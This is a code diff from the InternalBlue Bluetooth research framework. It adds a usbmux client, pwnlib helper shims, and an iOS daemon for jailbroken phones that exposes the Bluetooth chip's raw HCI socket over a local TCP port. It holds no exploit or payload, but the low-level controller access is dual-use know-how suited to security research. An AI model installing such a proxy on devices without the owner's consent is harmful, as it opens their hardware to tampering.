||||
payload['ClientVersionString'] = 'usbmux.py by marcan'
|
||||
if isinstance(req, int):
|
||||
req = [self.TYPE_CONNECT, self.TYPE_LISTEN][req-2]
|
||||
payload['MessageType'] = req
|
||||
payload['ProgName'] = 'tcprelay'
|
||||
BinaryProtocol.sendpacket(self, self.TYPE_PLIST, tag, plistlib.dumps(payload))
|
||||
def getpacket(self):
|
||||
resp, tag, payload = BinaryProtocol.getpacket(self)
|
||||
if resp != self.TYPE_PLIST:
|
||||
raise MuxError("Received non-plist type %d"%resp)
|
||||
payload = plistlib.loads(payload)
|
||||
return payload['MessageType'], tag, payload
|
||||
|
||||
class MuxConnection(object):
|
||||
def __init__(self, socketpath, protoclass):
|
||||
self.socketpath = socketpath
|
||||
if sys.platform in ['win32', 'cygwin']:
|
||||
family = socket.AF_INET
|
||||
address = ('127.0.0.1', 27015)
|
||||
else:
|
||||
family = socket.AF_UNIX
|
||||
address = self.socketpath
|
||||
self.socket = SafeStreamSocket(address, family)
|
||||
self.proto = protoclass(self.socket)
|
||||
self.pkttag = 1
|
||||
self.devices = []
|
||||
|
||||
def _getreply(self):
|
||||
while True:
|
||||
resp, tag, data = self.proto.getpacket()
|
||||
if resp == self.proto.TYPE_RESULT:
|
||||
return tag, data
|
||||
else:
|
||||
raise MuxError("Invalid packet type received: %d"%resp)
|
||||
def _processpacket(self):
|
||||
resp, tag, data = self.proto.getpacket()
|
||||
if resp == self.proto.TYPE_DEVICE_ADD:
|
||||
self.devices.append(MuxDevice(data['DeviceID'], data['Properties']['ProductID'], data['Properties']['SerialNumber'], data['Properties']['LocationID']))
|
||||
elif resp == self.proto.TYPE_DEVICE_REMOVE:
|
||||
for dev in self.devices:
|
||||
if dev.devid == data['DeviceID']:
|
||||
self.devices.remove(dev)
|
||||
elif resp == self.proto.TYPE_RESULT:
|
||||
raise MuxError("Unexpected result: %d"%resp)
|
||||
else:
|
||||
raise MuxError("Invalid packet type received: %d"%resp)
|
||||
def _exchange(self, req, payload={}):
|
||||
mytag = self.pkttag
|
||||
self.pkttag += 1
|
||||
self.proto.sendpacket(req, mytag, payload)
|
||||
recvtag, data = self._getreply()
|
||||
if recvtag != mytag:
|
||||
raise MuxError("Reply tag mismatch: expected %d, got %d"%(mytag, recvtag))
|
||||
return data['Number']
|
||||
|
||||
def listen(self):
|
||||
ret = self._exchange(self.proto.TYPE_LISTEN)
|
||||
if ret != 0:
|
||||
raise MuxError("Listen failed: error %d"%ret)
|
||||
def process(self, timeout=None):
|
||||
if self.proto.connected:
|
||||
raise MuxError("Socket is connected, cannot process listener events")
|
||||
rlo, wlo, xlo = select.select([self.socket.sock], [], [self.socket.sock], timeout)
|
||||
if xlo:
|
||||
self.socket.sock.close()
|
||||
raise MuxError("Exception in listener socket")
|
||||
if rlo:
|
||||
self._processpacket()
|
||||
def connect(self, device, port):
|
||||
ret = self._exchange(self.proto.TYPE_CONNECT, {'DeviceID':device.devid, 'PortNumber':((port<<8) & 0xFF00) | (port>>8)})
|
||||
if ret != 0:
|
||||
raise MuxError("Connect failed: error %d"%ret)
|
||||
self.proto.connected = True
|
||||
return self.socket.sock
|
||||
def close(self):
|
||||
self.socket.sock.close()
|
||||
|
||||
class USBMux(object):
|
||||
def __init__(self, socketpath=None):
|
||||
if socketpath is None:
|
||||
if sys.platform == 'darwin':
|
||||
socketpath = "/var/run/usbmuxd"
|
||||
else:
|
||||
socketpath = "/var/run/usbmuxd"
|
||||
self.socketpath = socketpath
|
||||
self.listener = MuxConnection(socketpath, BinaryProtocol)
|
||||
try:
|
||||
self.listener.listen()
|
||||
self.version = 0
|
||||
self.protoclass = BinaryProtocol
|
||||
except MuxVersionError:
|
||||
self.listener = MuxConnection(socketpath, PlistProtocol)
|
||||
self.listener.listen()
|
||||
self.protoclass = PlistProtocol
|
||||
self.version = 1
|
||||
self.devices = self.listener.devices
|
||||
def process(self, timeout=None):
|
||||
self.listener.process(timeout)
|
||||
def connect(self, device, port):
|
||||
connector = MuxConnection(self.socketpath, self.protoclass)
|
||||
return connector.connect(device, port)
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
# from pwnlib.util.packing import *
|
||||
from typing import Union
|
||||
|
||||
|
||||
def bytes_to_hex(bytes):
|
||||
# type: (Union[bytes, bytearray]) -> str
|
||||
return "".join(format(x, "02x") for x in bytearray(bytes))
|
||||
@@ -0,0 +1,95 @@
|
||||
"""
|
||||
The following proxies various utilities from pwnlibs by explicitly importing them
|
||||
To replace a "from pwn import *" remove it and let your IDE highlight all missing methods (Hint: F2 in PyCharm goes to next error)
|
||||
import the missing (and only the missing!) methods from this module, e.g. with "from internalblue.utils import term, read, log, text, options"
|
||||
In some cases like "from pwn import socket" this just imports another module.
|
||||
Use an IPython shell to run "from pwn import *" and check where some method/module actually comes from and either import it directly or add it to this module
|
||||
"""
|
||||
|
||||
|
||||
# Imports that used to be imported via 'from pwn import *'
|
||||
import pwnlib
|
||||
from pwnlib import term
|
||||
from pwnlib.util import iters
|
||||
from pwnlib.util.misc import read
|
||||
from pwnlib.context import context
|
||||
|
||||
# TODO: Logging via pwnlib doesn't work yet, so for now it is still used via pwn
|
||||
# import pwnlib.log
|
||||
# pwnlib.log.install_default_handler()
|
||||
# log = pwnlib.log.getLogger('internalbue')
|
||||
|
||||
from pwn import log
|
||||
|
||||
|
||||
from pwnlib.term import text
|
||||
from pwnlib.ui import options, yesno
|
||||
from pwnlib.util.packing import flat
|
||||
from pwnlib.asm import disasm, asm
|
||||
from pwnlib.util.fiddling import isprint, unbits, bits_str, bits
|
||||
|
||||
|
||||
"""
|
||||
The packers like u8 are generated in a fairly convoluted way that breaks IDE introspection.
|
||||
The following code remedies this by:
|
||||
- Explicitly defining a stub function with type annotations
|
||||
- Generating all the packers like pwnlibs would
|
||||
- Only if if the current module already has the name of the packer as an attribute (i.e. has a stub function defined) it will be replaced with the pwnlibs version
|
||||
|
||||
This means:
|
||||
- All import issues in the rest of the code are genuine as the imports are only available if an explicit stub function is added
|
||||
- The functions can be easily replaced by just implementing them and removing the for loop at the end
|
||||
|
||||
"""
|
||||
|
||||
# Imports needed for this hack
|
||||
from pwnlib.util.packing import ops, sizes, make_multi
|
||||
import sys
|
||||
|
||||
try:
|
||||
from typing import Union, Optional, Literal
|
||||
|
||||
endianess = Union[Literal["big"]]
|
||||
|
||||
except ImportError:
|
||||
pass
|
||||
mod = sys.modules[__name__]
|
||||
|
||||
|
||||
_DEFINES = ["u8", "p8", "u32", "u16", "p32"]
|
||||
|
||||
|
||||
def u8(data, endian=None):
|
||||
# type: (bytes, Optional[endianess]) -> int
|
||||
pass
|
||||
|
||||
|
||||
def p8(number, endian=None):
|
||||
# type: (int, Optional[endianess]) -> bytes
|
||||
pass
|
||||
|
||||
|
||||
def u16(data, endian=None):
|
||||
# type: (bytes, Optional[endianess]) -> int
|
||||
pass
|
||||
|
||||
|
||||
def p16(number, endian=None):
|
||||
# type: (int, Optional[endianess]) -> bytes
|
||||
pass
|
||||
|
||||
|
||||
def u32(data, endian=None):
|
||||
# type: (bytes, Optional[endianess]) -> int
|
||||
pass
|
||||
|
||||
|
||||
def p32(number, endian=None):
|
||||
# type: (int, Optional[endianess]) -> bytes
|
||||
pass
|
||||
|
||||
|
||||
for op, size in iters.product(ops, sizes):
|
||||
name, routine = make_multi(op, size)
|
||||
if hasattr(mod, name):
|
||||
setattr(mod, name, routine)
|
||||
@@ -0,0 +1,2 @@
|
||||
.theos
|
||||
.DS_STORE
|
||||
@@ -0,0 +1,14 @@
|
||||
include $(THEOS)/makefiles/common.mk
|
||||
|
||||
TOOL_NAME = internalblued
|
||||
|
||||
internalblued_FILES = main.m ios-proxy.m
|
||||
internalblued_CFLAGS = -fobjc-arc
|
||||
|
||||
include $(THEOS_MAKE_PATH)/tool.mk
|
||||
|
||||
SUBPROJECTS += internalbluedprefs
|
||||
include $(THEOS_MAKE_PATH)/aggregate.mk
|
||||
|
||||
after-internalblued-stage::
|
||||
$(ECHO_NOTHING)$(FAKEROOT) chown root:wheel $(THEOS_STAGING_DIR)/Library/LaunchDaemons/com.ttdennis.internalblued.plist$(ECHO_END)
|
||||
@@ -0,0 +1,25 @@
|
||||
# internalblued
|
||||
This project is a proxy that redirects the *iOS* Bluetooth socket and exposes it as a
|
||||
TCP socket which can be used to send HCI commands to the Bluetooth controller of the device.
|
||||
A jailbroken device is required.
|
||||
|
||||
A compiled version of `internalblued` can be found in [`packages/com.ttdennis.internalblued_0.0.1_iphoneos-arm.deb`](packages/com.ttdennis.internalblued_0.0.1_iphoneos-arm.deb).
|
||||
|
||||
## Installing
|
||||
1. Transfer the `.deb` file to your iOS device
|
||||
2. Run `dpkg -i your-deb-file.deb` to install `internalblued` on your device
|
||||
|
||||
## Running internalblued
|
||||
Once installed, `internalblued` runs as a `LaunchDaemon` and is ready to be used. By default it will listen to port 1234 (TCP) on localhost. If `usbmux` is installed, `internalblue` will be able to connect to the phone as the port is passed through `usbmuxd`.
|
||||
|
||||
During usage with `internalblue` Bluetooth has to be disabled in the phones Settings App.
|
||||
|
||||
In case the Bluetooth chip stops responding, Bluetooth has to be turned on and off again in the Settings App.
|
||||
|
||||
There is a Settings App pane for `internalblued` to turn off the daemon and adapt the listening port. However, this is usually not required. As long as `internalblue` is not connected to `internalblued`'s socket, Bluetooth can be used without any restrictions.
|
||||
|
||||
## Building internalblued
|
||||
1. Install [theos](https://github.com/theos/theos)
|
||||
2. Run `make`
|
||||
3. A `.deb` file should be in the `packages` folder now
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
#import <Preferences/PSListController.h>
|
||||
|
||||
@interface IBDRootListController : PSListController
|
||||
|
||||
@end
|
||||
@@ -0,0 +1,80 @@
|
||||
#include <xpc/xpc.h>
|
||||
|
||||
#include "IBDRootListController.h"
|
||||
#import <Preferences/PSListController.h>
|
||||
#import <Preferences/PSViewController.h>
|
||||
#import <Preferences/PSSpecifier.h>
|
||||
#include "../xpc_protocol.h"
|
||||
|
||||
#define PREF_FILE @"/var/mobile/Library/Preferences/com.ttdennis.internalblue-prefs.plist"
|
||||
|
||||
@implementation IBDRootListController
|
||||
|
||||
xpc_connection_t get_connection() {
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service(
|
||||
"com.ttdennis.internalblued", NULL, 0);
|
||||
// we don't expect any responses anyway
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t some_object) { });
|
||||
xpc_connection_resume(connection);
|
||||
|
||||
NSLog(@"connection %@", connection);
|
||||
return connection;
|
||||
}
|
||||
|
||||
-(bool) should_stop {
|
||||
for (PSSpecifier *spec in [self specifiers]) {
|
||||
if ([[spec identifier] isEqualToString:@"enabled"]) {
|
||||
bool isEnabled = [[self readPreferenceValue:spec] boolValue];
|
||||
NSLog(@"Toggle is: %d", isEnabled);
|
||||
return !isEnabled;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
- (void)toggle:(NSNotification *)notification {
|
||||
// close the number keyboard
|
||||
[self.view endEditing:YES];
|
||||
// force write the preference file so that the daemon will pick up the correct value
|
||||
CFPreferencesSynchronize(CFSTR("com.ttdennis.internalblue-prefs"), kCFPreferencesCurrentUser, kCFPreferencesCurrentHost);
|
||||
|
||||
sleep(1);
|
||||
|
||||
xpc_connection_t connection = get_connection();
|
||||
xpc_object_t object = xpc_dictionary_create(NULL, NULL, 0);
|
||||
|
||||
if ([self should_stop]){
|
||||
xpc_dictionary_set_uint64(object, "message", CMD_STOP_PROXY);
|
||||
} else {
|
||||
xpc_dictionary_set_uint64(object, "message", CMD_START_PROXY);
|
||||
}
|
||||
|
||||
xpc_connection_send_message(connection, object);
|
||||
}
|
||||
|
||||
void notify_ns() {
|
||||
[[NSNotificationCenter defaultCenter] postNotificationName:@"com.ttdennis.internalblue/toggle" object:nil];
|
||||
}
|
||||
|
||||
|
||||
- (id) init {
|
||||
self = [super init];
|
||||
|
||||
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(toggle:)
|
||||
name:@"com.ttdennis.internalblue/toggle"
|
||||
object:nil];
|
||||
CFNotificationCenterAddObserver(CFNotificationCenterGetDarwinNotifyCenter(), (__bridge const void *)(self), (CFNotificationCallback)notify_ns,
|
||||
CFSTR("com.ttdennis.internalblue/toggle"), NULL, 0);
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
- (NSArray *)specifiers {
|
||||
if (!_specifiers) {
|
||||
_specifiers = [self loadSpecifiersFromPlistName:@"Root" target:self];
|
||||
}
|
||||
|
||||
return _specifiers;
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -0,0 +1,15 @@
|
||||
include $(THEOS)/makefiles/common.mk
|
||||
|
||||
BUNDLE_NAME = internalbluedprefs
|
||||
|
||||
internalbluedprefs_FILES = IBDRootListController.m
|
||||
internalbluedprefs_INSTALL_PATH = /Library/PreferenceBundles
|
||||
internalbluedprefs_FRAMEWORKS = UIKit
|
||||
internalbluedprefs_PRIVATE_FRAMEWORKS = Preferences
|
||||
internalbluedprefs_CFLAGS = -fobjc-arc
|
||||
|
||||
include $(THEOS_MAKE_PATH)/bundle.mk
|
||||
|
||||
internal-stage::
|
||||
$(ECHO_NOTHING)mkdir -p $(THEOS_STAGING_DIR)/Library/PreferenceLoader/Preferences$(ECHO_END)
|
||||
$(ECHO_NOTHING)cp entry.plist $(THEOS_STAGING_DIR)/Library/PreferenceLoader/Preferences/internalbluedprefs.plist$(ECHO_END)
|
||||
@@ -0,0 +1,24 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>English</string>
|
||||
<key>CFBundleExecutable</key>
|
||||
<string>internalbluedprefs</string>
|
||||
<key>CFBundleIdentifier</key>
|
||||
<string>com.ttdennis.internalblue-prefs</string>
|
||||
<key>CFBundleInfoDictionaryVersion</key>
|
||||
<string>6.0</string>
|
||||
<key>CFBundlePackageType</key>
|
||||
<string>BNDL</string>
|
||||
<key>CFBundleShortVersionString</key>
|
||||
<string>1.0.0</string>
|
||||
<key>CFBundleSignature</key>
|
||||
<string>????</string>
|
||||
<key>CFBundleVersion</key>
|
||||
<string>1.0</string>
|
||||
<key>NSPrincipalClass</key>
|
||||
<string>IBDRootListController</string>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -0,0 +1,55 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>items</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>cell</key>
|
||||
<string>PSGroupCell</string>
|
||||
<key>footerText</key>
|
||||
<string>Enable the InternalBlue proxy. For a reliable performance Bluetooth must be disabled in the settings.</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>cell</key>
|
||||
<string>PSSwitchCell</string>
|
||||
<key>default</key>
|
||||
<false/>
|
||||
<key>defaults</key>
|
||||
<string>com.ttdennis.internalblue-prefs</string>
|
||||
<key>key</key>
|
||||
<string>isEnabled</string>
|
||||
<key>label</key>
|
||||
<string>Enable InternalBlue Proxy</string>
|
||||
<key>PostNotification</key>
|
||||
<string>com.ttdennis.internalblue/toggle</string>
|
||||
<key>id</key>
|
||||
<string>enabled</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>cell</key>
|
||||
<string>PSGroupCell</string>
|
||||
<key>footerText</key>
|
||||
<string>This sets the port the proxy is listening on. InternalBlue assumes 1234. Changing this port requires adapting InternalBlue and restarting the proxy.</string>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>cell</key>
|
||||
<string>PSEditTextCell</string>
|
||||
<key>default</key>
|
||||
<string>1234</string>
|
||||
<key>defaults</key>
|
||||
<string>com.ttdennis.internalblue-prefs</string>
|
||||
<key>key</key>
|
||||
<string>port</string>
|
||||
<key>label</key>
|
||||
<string>Proxy Port</string>
|
||||
<key>isNumeric</key>
|
||||
<true/>
|
||||
<key>id</key>
|
||||
<string>port</string>
|
||||
</dict>
|
||||
</array>
|
||||
<key>title</key>
|
||||
<string>InternalBlue Proxy Settings</string>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -0,0 +1,21 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>entry</key>
|
||||
<dict>
|
||||
<key>bundle</key>
|
||||
<string>internalbluedprefs</string>
|
||||
<key>cell</key>
|
||||
<string>PSLinkCell</string>
|
||||
<key>detail</key>
|
||||
<string>IBDRootListController</string>
|
||||
<key>icon</key>
|
||||
<string>icon.png</string>
|
||||
<key>isController</key>
|
||||
<true/>
|
||||
<key>label</key>
|
||||
<string>InternalBlue Proxy</string>
|
||||
</dict>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -0,0 +1,29 @@
|
||||
//
|
||||
// ios-proxy.h
|
||||
// ios-proxy
|
||||
//
|
||||
// Copyright © 2019 ttdennis. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef ios_proxy_h
|
||||
#define ios_proxy_h
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
#define IOAOSSKYSETCHANNELSPEC 0x800C5414
|
||||
#define IOAOSSKYGETCHANNELUUID 0x40105412
|
||||
|
||||
#define CTLIOCGINFO 0xC0644E03
|
||||
|
||||
typedef struct ctl_info {
|
||||
uint32_t ctl_id;
|
||||
char ctl_name[96];
|
||||
} ctl_info_t;
|
||||
|
||||
int connect_bt_device();
|
||||
int create_server(int port);
|
||||
int wait_for_connection(int server_fd);
|
||||
void proxy_bt_socket(int client, int bt);
|
||||
|
||||
#endif /* ios_proxy_h */
|
||||
@@ -0,0 +1,193 @@
|
||||
//
|
||||
// ios-proxy.m
|
||||
// ios-proxy
|
||||
//
|
||||
// Copyright © 2019 ttdennis. All rights reserved.
|
||||
//
|
||||
|
||||
#include "ios-proxy.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/errno.h>
|
||||
#include <sys/select.h>
|
||||
#include <sys/time.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
#include <unistd.h>
|
||||
#include <termios.h>
|
||||
|
||||
int connect_bt_device() {
|
||||
int socket_fd = socket(32, 1, 2);
|
||||
int error = 0;
|
||||
int ret = 0;
|
||||
|
||||
struct sockaddr sock_addr;
|
||||
struct termios term;
|
||||
|
||||
if (socket_fd == 0) {
|
||||
NSLog(@"[!] Unable to get Bluetooth socket\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
ctl_info_t *ctl_inf = malloc(sizeof(ctl_info_t));
|
||||
ctl_inf->ctl_id = 0;
|
||||
strcpy(ctl_inf->ctl_name, "com.apple.uart.bluetooth");
|
||||
if ((error = ioctl(socket_fd, CTLIOCGINFO, ctl_inf))) {
|
||||
NSLog(@"[!] ioctl(CTLIOCGINFO) = %d - errno: %d\n", error, errno);
|
||||
NSLog(@"[!] error: %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
*(int *)&sock_addr.sa_len = 0x22020;
|
||||
*(int *)&sock_addr.sa_data[2] = ctl_inf->ctl_id;
|
||||
ret = connect(socket_fd, &sock_addr, 0x20);
|
||||
if (ret != 0) {
|
||||
NSLog(@"[!] connect() = %d - errno: %d\n", ret, errno);
|
||||
NSLog(@"[!] error: %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
NSLog(@"[*] Connected to Bluetooth chip H4 socket\n");
|
||||
|
||||
socklen_t len = 72;
|
||||
|
||||
ret = getsockopt(socket_fd, 2, TIOCGETA, &term, &len);
|
||||
if (ret != 0) {
|
||||
NSLog(@"[!] getsockopt(TIOCGETA) = %d - errno: %d\n", ret, errno);
|
||||
NSLog(@"[!] error: %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
cfmakeraw(&term);
|
||||
ret = cfsetspeed(&term, 3000000);
|
||||
if (ret != 0) {
|
||||
NSLog(@"[!] cfsetspeed() = %d - errno: %d\n", ret, errno);
|
||||
NSLog(@"[!] error: %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
term.c_iflag |= 4;
|
||||
term.c_cflag = 232192;
|
||||
ret = setsockopt(socket_fd, 2, TIOCSETA, &term, 0x48);
|
||||
if (ret != 0) {
|
||||
NSLog(@"[!] setsockopt() = %d - errno: %d\n", ret, errno);
|
||||
NSLog(@"[!] error: %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
tcflush(socket_fd, 3);
|
||||
free(ctl_inf);
|
||||
|
||||
return socket_fd;
|
||||
}
|
||||
|
||||
int create_server(int port) {
|
||||
int server_fd;
|
||||
struct sockaddr_in server;
|
||||
int on = 1;
|
||||
int addrlen;
|
||||
|
||||
server_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (server_fd < 0) {
|
||||
NSLog(@"[!] Unable to create server socket\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
addrlen = sizeof(server);
|
||||
memset(&server, '\0', addrlen);
|
||||
server.sin_family = AF_INET;
|
||||
server.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
server.sin_port = htons(port);
|
||||
|
||||
setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &on, 4);
|
||||
if (bind(server_fd, (struct sockaddr *)&server, sizeof(server)) < 0) {
|
||||
NSLog(@"[!] Error binding socket\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (listen(server_fd, 5) < 0) {
|
||||
NSLog(@"[!] Failed listening on port %d, Error: %s\n", port, strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
NSLog(@"[*] Listening on port %d\n", port);
|
||||
|
||||
return server_fd;
|
||||
}
|
||||
|
||||
int wait_for_connection(int server_fd) {
|
||||
int client_fd;
|
||||
socklen_t len;
|
||||
struct sockaddr_in client;
|
||||
|
||||
len = sizeof(struct sockaddr_in);
|
||||
client_fd = accept(server_fd, (struct sockaddr *)&client, (socklen_t *)&len);
|
||||
|
||||
if (client_fd < 0) {
|
||||
NSLog(@"[!] Accepting connection failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return client_fd;
|
||||
}
|
||||
|
||||
void proxy_bt_socket(int client, int bt) {
|
||||
char *client_buf, *bt_buf;
|
||||
int nfds, x;
|
||||
fd_set R;
|
||||
size_t n;
|
||||
|
||||
client_buf = malloc(0x2000);
|
||||
bt_buf = malloc(0x2000);
|
||||
|
||||
nfds = client > bt ? client : bt;
|
||||
nfds++;
|
||||
|
||||
while(1) {
|
||||
struct timeval to;
|
||||
FD_ZERO(&R);
|
||||
FD_SET(client, &R);
|
||||
FD_SET(bt, &R);
|
||||
|
||||
to.tv_sec = 0;
|
||||
to.tv_usec = 100;
|
||||
x = select(nfds+1, &R, 0, 0, &to);
|
||||
if (x > 0) {
|
||||
if (FD_ISSET(client, &R)) {
|
||||
n = read(client, client_buf, 4096);
|
||||
if (n > 0) {
|
||||
write(bt, client_buf, n);
|
||||
} else {
|
||||
close(client);
|
||||
NSLog(@"[!] Client read failed\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (FD_ISSET(bt, &R)) {
|
||||
n = read(bt, bt_buf, 4096);
|
||||
if (n > 0) {
|
||||
write(client, bt_buf, n);
|
||||
} else {
|
||||
close(client);
|
||||
NSLog(@"[!] H4 socket read failed\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
} else if (x < 0 && errno != EINTR){
|
||||
NSLog(@"[!] Select failed with %s\n", strerror(errno));
|
||||
close(client);
|
||||
return;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
Package: com.ttdennis.internalblued
|
||||
Name: internalblued
|
||||
Depends:
|
||||
Version: 0.0.1
|
||||
Architecture: iphoneos-arm
|
||||
Description: InternalBlue iOS Proxy Daemon
|
||||
Maintainer: Dennis Heinze
|
||||
Author: Dennis Heinze
|
||||
Section: System
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/sh
|
||||
launchctl load /Library/LaunchDaemons/com.ttdennis.internalblued.plist
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/sh
|
||||
launchctl unload /Library/LaunchDaemons/com.ttdennis.internalblued.plist 2>&1 > /dev/null
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/sh
|
||||
launchctl unload /Library/LaunchDaemons/com.ttdennis.internalblued.plist
|
||||
@@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>com.ttdennis.internalblued</string>
|
||||
<key>MachServices</key>
|
||||
<dict>
|
||||
<key>com.ttdennis.internalblued</key>
|
||||
<true/>
|
||||
</dict>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/usr/bin/internalblued</string>
|
||||
</array>
|
||||
<key>UserName</key>
|
||||
<string>mobile</string>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
<key>KeepAlive</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -0,0 +1,179 @@
|
||||
#include <xpc/xpc.h>
|
||||
#include <pthread.h>
|
||||
#include <spawn.h>
|
||||
|
||||
#include "ios-proxy.h"
|
||||
#include "xpc_protocol.h"
|
||||
|
||||
#define PREF_FILE @"/var/mobile/Library/Preferences/com.ttdennis.internalblue-prefs.plist"
|
||||
|
||||
int manual_port = -1;
|
||||
bool proxy_is_running = false;
|
||||
pthread_t proxy_thread;
|
||||
|
||||
int get_proxy_port() {
|
||||
int port = 0;
|
||||
if (manual_port != -1) {
|
||||
return manual_port;
|
||||
}
|
||||
|
||||
NSMutableDictionary *prefs = [[NSMutableDictionary alloc] initWithContentsOfFile: PREF_FILE];
|
||||
if (prefs) {
|
||||
port = [[prefs objectForKey:@"port"] intValue];
|
||||
} else {
|
||||
NSLog(@"Preference file not found, chosing standard port 1234");
|
||||
}
|
||||
|
||||
if (port == 0)
|
||||
port = 1234;
|
||||
|
||||
return port;
|
||||
}
|
||||
|
||||
bool proxy_pref_on() {
|
||||
bool res = true;
|
||||
NSMutableDictionary *prefs = [[NSMutableDictionary alloc] initWithContentsOfFile: PREF_FILE];
|
||||
if (prefs) {
|
||||
id obj = [prefs objectForKey:@"isEnabled"];
|
||||
// no object exists, this means the user never toggled the switch
|
||||
// which means the server is on (because it is by default), and we
|
||||
// should stop -> return true
|
||||
if (!obj) {
|
||||
return true;
|
||||
}
|
||||
res = [obj boolValue];
|
||||
} else {
|
||||
NSLog(@"Preference file not found, chosing standard value true");
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
void *proxy_fn() {
|
||||
int port = get_proxy_port();
|
||||
int server_fd, client_fd, btwake_fd, bt_fd;
|
||||
|
||||
while (proxy_is_running) {
|
||||
server_fd = create_server(port);
|
||||
if (server_fd < 0) {
|
||||
NSLog(@"Unable to create proxy server: %s", strerror(errno));
|
||||
break;
|
||||
}
|
||||
NSLog(@"Created proxy server, waiting for connection");
|
||||
|
||||
client_fd = wait_for_connection(server_fd);
|
||||
if (client_fd < 0) {
|
||||
NSLog(@"Unable to establish connection: %s", strerror(errno));
|
||||
close(server_fd);
|
||||
}
|
||||
|
||||
// now that a client connection from internalblue is established
|
||||
// we can claim the BT device
|
||||
btwake_fd = open("/dev/btwake", O_RDONLY);
|
||||
bt_fd = connect_bt_device();
|
||||
if (bt_fd < 0) {
|
||||
NSLog(@"Unable to connect to Bluetooth device: %s", strerror(errno));
|
||||
close(server_fd);
|
||||
close(client_fd);
|
||||
close(btwake_fd);
|
||||
}
|
||||
|
||||
// currently only one connection is supported
|
||||
proxy_bt_socket(client_fd, bt_fd);
|
||||
|
||||
close(client_fd);
|
||||
close(server_fd);
|
||||
close(bt_fd);
|
||||
close(btwake_fd);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void start_proxy() {
|
||||
if (proxy_is_running) {
|
||||
NSLog(@"Cannot start proxy, it is already running");
|
||||
} else {
|
||||
pthread_create(&proxy_thread, NULL, &proxy_fn, NULL);
|
||||
proxy_is_running = true;
|
||||
}
|
||||
}
|
||||
|
||||
void stop_proxy() {
|
||||
if (proxy_is_running) {
|
||||
pthread_kill(proxy_thread, SIGKILL);
|
||||
proxy_is_running = false;
|
||||
} else {
|
||||
NSLog(@"Cannot stop proxy, it is not running");
|
||||
}
|
||||
}
|
||||
|
||||
void _ib_xpc_recv_handler(xpc_object_t object) {
|
||||
uint64_t opcode = xpc_dictionary_get_uint64(object, "message");
|
||||
if ((void*)opcode == NULL) {
|
||||
NSLog(@"Received invalid message.");
|
||||
return;
|
||||
}
|
||||
NSLog(@"Got message with opcode %llu", opcode);
|
||||
|
||||
switch(opcode) {
|
||||
case CMD_START_PROXY:
|
||||
start_proxy();
|
||||
break;
|
||||
case CMD_STOP_PROXY:
|
